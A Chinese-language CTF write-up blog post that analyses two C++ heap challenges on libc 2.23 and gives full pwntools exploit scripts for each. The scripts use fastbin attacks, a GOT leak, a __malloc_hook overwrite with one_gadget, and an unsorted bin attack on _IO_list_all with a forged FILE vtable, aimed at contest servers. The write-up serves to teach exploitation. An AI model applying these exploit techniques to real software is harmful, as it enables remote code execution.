C++ PWN初探(一)

EasyCpp

查看文件

首先看到不能hijacking GOT。

IDA分析

查看源码得知这是一个C++程序。由于之前没做过,有很多机制并没有很清楚。

问题一:在edit中析构函数会free(栈上的一个地址),而这个地址是可以更改的。我们可以伪造chunk,并且释放掉。

问题二:在edit中会创建一个0x20的chunk(这个条件基本也用不上) 问题三:我们在写入编号的时候可以创建根据输入大小的chunk

解决思路

一.泄露libc地址
1.将password在内的chunk释放到bin中(大小需要0x70,因为包含T在内的位置0x603295处chunk)
2.在第二次选择2编辑password的fd为0x603295(包含T在内的size合法的chunk),经过两次edit输入T某个password地址,password地址上是got值
3.在进行edit打印出泄露libc地址
二.任意地址分配,hijaking malloc_hook函数写入one_gadget(由于在edit里面直接会先malloc一个对象size的chunk)
1.释放password进入chunk
2.修改password
3.两次分配进入libc

具体步骤

内存图基本如下:

一.泄露libc地址
第一步:将password在内的chunk释放到bin中(大小需要0x70,因为包含T在内的位置0x603295处chunk)

# make a fake chunk in 0x70 bin
choice(1)
editPassword(p64(0)+p64(0x71)+0x60*"\x00"+p64(0x70)+p64(0x20)+p64(0x6032f0)) # 先释放password上的伪造chunk
edit("\x11"*1)  # 随便写的
# # modify  position fake chunk's fd pointer T position chunk
choice(1) 
editPassword(p64(0)+p64(0x71)+p64(0x603285)+"\x00"*0x58+p64(0x70)+p64(0x20)+p64(0)) # 修改password chunk的fd指向T在内的chunk位置
edit("\x77"*0x60) # 这个字节数要保证把第一个fastbin(0x70)的先分配掉,下一个才是T在内的目标chunk

第二步:在第二次选择2编辑password的fd为0x603295(包含T在内的size合法的chunk),经过两次edit输入T某个password地址,password地址上是got值

# # modify password content is got to leak libc_offset
choice(1)
editPassword(p64(0)+p64(0x71)+p64(0x603285)+"\x00"*0x58+p64(0x70)+p64(0x20)+p64(0)*2+p64(elf.got['read'])) # 在password中精心构造数据,使T指向password上地址A,A是GOT,那么show出来就是真实地址了
edit(11*"c"+p64(0x603370)+(0x60-11-0x10-8)*"\x00"+0x10*"\x00") # 这里是写入T中数据

第三步:在进行edit打印出泄露libc地址

choice(1)
editPassword(p64(0)+p64(0x71)+0x60*"\x00"+p64(0x70)+p64(0x20)+p64(0x6032f0)) # 这里是为了保证数据不混乱,这里调试了好久,由于 愚蠢的错误,输入0xa0的数据导致后面的输入不能正常进行
p.recvuntil("STUDENT: ")
data = u64(p.recv(6).ljust(8,"\x00"))
libc_offset = data - libc.symbols['read']
print hex(libc_offset)
edit("\x11"*1)
target_addr = libc.symbols['__malloc_hook']+libc_offset-0x23

二.任意地址分配,hijaking malloc_hook函数写入one_gadget(由于在edit里面直接会先malloc一个对象size的chunk)
1.释放password进入chunk

choice(1)
editPassword(p64(0)+p64(0x71)+p64(target_addr)+"\x00"*0x58+p64(0x70)+p64(0x20)+p64(0)) #老计重施,fastbin  attack
edit("\x77"*0x60) 

2.修改password中fd为malloc_hook相近地址

choice(1)
editPassword(p64(0)+p64(0x71)+p64(target_addr)+"\x00"*0x58+p64(0x70)+p64(0x20)+p64(0))
one_gadget = one_gadgets[2]+libc_offset
# edit(11*"\x00"+p64(one_gadget)+p64(libc.symbols['realloc']+libc_offset+13)+(0x60-7-0x13)*"\x00")
edit(19*"\x00"+p64(one_gadget)+(0x60-7-0x13)*"\x00")

3.getshell

choice(1)
editPassword("\x00"*0x8f)

exp

#!/usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *
import time
context.log_level  =  "debug"

# p = process("./EasyCPP")
p = remote("202.38.93.241",10012)
libc = ELF("./libc-2.23.so")
elf = ELF("./EasyCPP")
token = "607:MEYCIQDdqBeqYMwR1zMlVJdhW4iKnhy6RGzLItpuTdQaTZ4kawIhAJWhD+5VH5mgcveeQBqaIil/XsURguYUD+n/aHO8/6gZ"

p.recvuntil("Please input your token: ")
p.sendline(token)

one_gadgets = [0x45216,0x4526a,0xf02a4,0xf1147]

def start():
    username = "admin"
    password = "p455w0rd"
    p.sendlineafter("Username:",username)
    p.sendafter("Password:",password)

def edit(id):
    p.recvuntil("Tell me the new STUDENT NUMBER(eg: PB19000001), please:")
    p.send(id)
    p.sendlineafter("Now tell me his/her CALCULUS grade(0~100):\n","80")
    p.sendlineafter("Then the LINEAR ALGEBRA grade:\n","80")
    p.sendlineafter("grade:\n","80")
    p.sendlineafter("grade:\n","80")

def choice(id):
    p.sendlineafter("choice:",str(id))

def editPassword(content):
    p.recvuntil("password: \n")
    # time.sleep(2)
    p.sendline(content)

start()
# make a fake chunk in 0x70 bin
choice(1)
editPassword(p64(0)+p64(0x71)+0x60*"\x00"+p64(0x70)+p64(0x20)+p64(0x6032f0))
edit("\x11"*1)
# # modify  position fake chunk's fd pointer T position chunk
choice(1)
editPassword(p64(0)+p64(0x71)+p64(0x603285)+"\x00"*0x58+p64(0x70)+p64(0x20)+p64(0))
edit("\x77"*0x60)
# # modify password content is got to leak libc
choice(1)
editPassword(p64(0)+p64(0x71)+p64(0x603285)+"\x00"*0x58+p64(0x70)+p64(0x20)+p64(0)*2+p64(elf.got['read']))
edit(11*"c"+p64(0x603370)+(0x60-11-0x10-8)*"\x00"+0x10*"\x00")

# leak libc & make fastbin attack
choice(1)
editPassword(p64(0)+p64(0x71)+0x60*"\x00"+p64(0x70)+p64(0x20)+p64(0x6032f0))
p.recvuntil("STUDENT: ")
data = u64(p.recv(6).ljust(8,"\x00"))
libc_offset = data - libc.symbols['read']
print hex(libc_offset)
edit("\x11"*1)
target_addr = libc.symbols['__malloc_hook']+libc_offset-0x23

# # modify  position fake chunk's fd pointer T position chunk
choice(1)
editPassword(p64(0)+p64(0x71)+p64(target_addr)+"\x00"*0x58+p64(0x70)+p64(0x20)+p64(0))
edit("\x77"*0x60)
# gdb.attach(p)

## write one_gadget
choice(1)
editPassword(p64(0)+p64(0x71)+p64(target_addr)+"\x00"*0x58+p64(0x70)+p64(0x20)+p64(0))
one_gadget = one_gadgets[2]+libc_offset
# edit(11*"\x00"+p64(one_gadget)+p64(libc.symbols['realloc']+libc_offset+13)+(0x60-7-0x13)*"\x00")
edit(19*"\x00"+p64(one_gadget)+(0x60-7-0x13)*"\x00")

choice(1)
editPassword("\x00"*0x8f)
p.interactive()

pwn1

查看文件

PIE没开启,got表可劫持,其实第一反应就是unlink攻击。 libc 2.23

IDA分析

其实这道题目有提示:要熟悉C++的vector机制,于是专门上网查了些资料学习了下vector的分配机制。这道题大概是模拟了vector的这个机制,当分配的时候查看size是否不够,再根据之前的size来重新分配大的size。0x20、0x30、0x50、0x90、0x110….
以此类推。

功能说明:

create:不够的时候按照vector规定机制继续分配,没有漏洞。

show:整个过程是malloc free edit。漏洞点在于start heap地址没有及时更新,仍然是释放的那个chunk地址。

既可以溢出下一个chunk,同时还可以对上一个删除后的chunk进行UAF,也就是说当一个chunk为0x50的时候,这时候show的时候可以编辑,当编辑的内容超出原size的时候就会重新分配chunk,与此同时,写信息可以从原来的chunk开始写,一直向下溢出,溢出的size到分配的那个chunk的一半。系统默认所有的chunk都是连在一起的。看起来好像是个很大的洞,但是,利用条件十分苛刻,跟xmzyshypnc师傅看了一下午想到不少思路还是没能解决。

delete:使用delete的时候,如果最后一个临近top chunk的chunk size大于fastbin,那么将会触发malloc_consolidation。合并所有chunk,但是数据不会被清空。

IDA程序比较麻烦并且都去掉了符号表,很难逆向其实逆到后面确实如自己所想确实少看到了一个条件,对出现异常的原因不清晰。

补充知识

//_Alloc 表示内存分配器,此参数几乎不需要我们关心
template >
class vector
{...
    protected:
        pointer _Myfirst;
        pointer _Mylast;
        pointer _Myend;
};

_Myfirst 指向的是 vector 容器对象的起始字节位置;_Mylast 指向当前最后一个元素的末尾字节;_myend 指向整个 vector 容器所占用内存空间的末尾字节。

一个已容纳 2 个元素,容量为 5 的 vector 容器。

当 vector 的大小和容量相等(size==capacity)也就是满载时,如果再向其添加元素,那么 vector 就需要扩容。vector 容器扩容的过程需要经历以下 3 步:

  1. 完全弃用现有的内存空间,重新申请更大的内存空间;
  2. 将旧内存空间中的数据,按原有顺序移动到新的内存空间中;
  3. 最后将旧的内存空间释放。

在VS 下,扩容都是以 1.5 倍扩大,但是,在 gcc 编译环境下,是以 2 倍的方式扩容

思路

和xmzyshypnc师傅一起想了这么几个思路:

  • 第一个fastbin attack攻击,由于size 链不满足getshell或者劫持bss上的要求,所以就失败了。

  • 第二个unsorted bin attack改掉bss上start heap地址,相当于首地址改到最大,不会令first和end想同,也就不会继续分配chunk了,于此同时还可以继续向main_arena编辑,一直到malloc_hook。但是最后成功改掉了bss上first的heap地址,但程序执行到后面会报错。

  • 第三个改io_write_end,这样就可以一直向下编辑,但是到最后会由于_wide_data处被修改而一直无限循环。

最后可行的思路1:unsorted bin attack改io_file_list_all为main_arena,最后在chain处准备0x60的chunk,伪造io_file和vtable即可完成攻击。

可行思路2:通过学习writeup发现这道题还可以改虚表来getshell:

bss段会看到有指针指向cin、cout的虚表,利用unsorted bin attack改掉指针指向地址,虚表为heap地址,heap地址内是布置好的one_gadget

exp

#coding=utf-8
from pwn import *
debug = 1
context.log_level = "debug"
context.terminal = ['tmux','split','-h']
se      = lambda data               :p.send(data)
sa      = lambda delim,data         :p.sendafter(delim, data)
sl      = lambda data               :p.sendline(data)
sla     = lambda delim,data         :p.sendlineafter(delim, data)
sea     = lambda delim,data         :p.sendafter(delim, data)
rc      = lambda numb=4096          :p.recv(numb)
rl      = lambda                    :p.recvline()
ru      = lambda delims              :p.recvuntil(delims)
uu32    = lambda data               :u32(data.ljust(4, '\x00'))
uu64    = lambda data               :u64(data.ljust(8, '\x00'))

if debug:
    p = process("./pwn1")
    elf = ELF("./pwn1")
    libc = ELF("./libc-2.23.so")
else:
    p = remote("117.51.143.25",5005)
    elf = ELF("./pwn1")
    libc = ELF("./libc-2.23.so")

def create(num=0x21):
    sla(">>","1")
    sla("num:",str(num))

# def show(choice)
def delete():
    sla(">>","3")

def chooseY(info):
    sla("(y/n):","y")
    sl(str(info))

def chooseN():
    sla("(y/n):","n")

create()
create()
sla(">>","2")
p.recvuntil("1:")
heap_addr = int(p.recv(7),10)-0x617c10+0x606000
print hex(heap_addr)
for i in range(6):
    chooseN()

for i in range(12):
    create()
delete()
create()
sla(">>","2")
chooseN()
ru("2:")
libc.address = int(p.recv(15),10)+0x7ffff7475000-0x7ffff7839b78
success("libc address ==> "+hex(libc.address))
chooseN()
chooseN()
chooseN()
chooseN()
delete()

for i in range(32):
    create()

sla(">>","2")
for i in range(32):
    chooseY(0x21)
chooseY(0)
chooseY(0x51)
for i in range(32):
    chooseY(0x21)

delete()

# large overflow
for i in range(4):
    create(0x11111111)

sla(">>","2")
for i in range(14):
    chooseN()
chooseY(str(0x0068732f6e69622f))
chooseY(0x61)
chooseN()
chooseY(str(libc.symbols['_IO_list_all']-0x10))
chooseY(2)
chooseY(3)
for i in range(21):
    chooseY(0)
chooseY(heap_addr+0x617d40-0x606000+0x40+0x70)
for i in range(8):
    chooseY(0)
for i in range(8):
    chooseY(libc.symbols["system"]-0x10)
for i in range(14):
    chooseN()
create(0x22222222)
create(0x22222222)
create(0x22222222)
gdb.attach(p)
create(0x20000000)
#gdb.attach(p)

p.interactive()

  Reprint policy: xiaoxin C++ PWN初探(一)

 Previous
路由器常见漏洞总结 路由器常见漏洞总结
前言,基本也是《0day路由器漏洞挖掘》这本书的读书笔记 路由器web漏洞XSS漏洞针对路由器的web管理页面,例如:攻击者发现路由器管理页面包含一个反射型XSS,就可以构建一个利用这个XSS漏洞的URL,并且将其通过邮件或QQ发送给受害者
Next 
2019-XMAN冬令营结营赛 2019-XMAN冬令营结营赛
filesystem0x01 查看文件 0x02 IDA分析 它这里只是清空了size的部分,而chunk address的地址没有清空,double free 0x03 思路首先劫持chunk list,劫持之后先puts出libc
2020-09-01
  TOC